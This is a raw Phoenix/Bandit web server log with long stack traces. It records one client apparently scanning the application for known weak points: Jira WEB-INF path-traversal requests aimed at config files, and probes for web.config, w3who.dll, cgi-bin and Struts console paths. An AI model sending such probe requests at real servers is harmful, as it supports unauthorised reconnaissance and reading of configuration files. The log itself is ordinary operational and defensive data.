    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:09.366000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50330] GET /web.config
[Thu Sep  3 08:32:09.394000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50330] ** (Phoenix.Router.NoRouteError) no route found for GET /web.config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:11.491000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:32:17.056000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56872] GET /cgi-bin/filescan
[Thu Sep  3 08:32:17.080000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56872] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/filescan (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:18.608000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56884] GET /scripts/w3who.dll
[Thu Sep  3 08:32:18.626000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56884] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/w3who.dll (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:25.198000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38866] GET /Reporting/login/change_password.php
[Thu Sep  3 08:32:25.224000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38866] ** (Phoenix.Router.NoRouteError) no route found for GET /Reporting/login/change_password.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:25.465000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38880] GET /s/cfx/_/;/WEB-INF/web.xml
[Thu Sep  3 08:32:25.484000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38880] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/WEB-INF/web.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:25.507000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38854] GET /enter.php
[Thu Sep  3 08:32:25.519000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38854] ** (Phoenix.Router.NoRouteError) no route found for GET /enter.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:26.141000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38888] GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml
[Thu Sep  3 08:32:26.158000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38888] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/WEB-INF/classes/seraph-config.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:26.819000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38902] GET /s/cfx/_/;/WEB-INF/decorators.xml
[Thu Sep  3 08:32:26.847000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38902] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/WEB-INF/decorators.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:27.456000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38908] GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
[Thu Sep  3 08:32:27.479000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38908] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:28.169000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38914] GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
[Thu Sep  3 08:32:28.187000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38914] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:28.828000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38928] GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
[Thu Sep  3 08:32:28.881000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38928] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:29.546000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38934] GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties
[Thu Sep  3 08:32:29.571000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38934] ** (Phoenix.Router.NoRouteError) no route found for GET /s/cfx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:34.756000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56042] GET /struts/webconsole.html
[Thu Sep  3 08:32:34.777000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56042] ** (Phoenix.Router.NoRouteError) no route found for GET /struts/webconsole.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:37.356000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56044] GET /
[Thu Sep  3 08:32:37.356000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:56044] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:32:37.357000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56044] Sent 200 in 853µs
[Thu Sep  3 08:32:38.383000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56044] GET /
[Thu Sep  3 08:32:38.384000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:56044] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:32:38.384000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56044] Sent 200 in 873µs
[Thu Sep  3 08:32:41.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56048] POST /
[Thu Sep  3 08:32:41.942000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56048] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:48.223000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39710] GET //struts/webconsole.html
[Thu Sep  3 08:32:48.246000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39710] ** (Phoenix.Router.NoRouteError) no route found for GET /struts/webconsole.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:49.122000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39722] GET /
[Thu Sep  3 08:32:49.124000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:39722] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
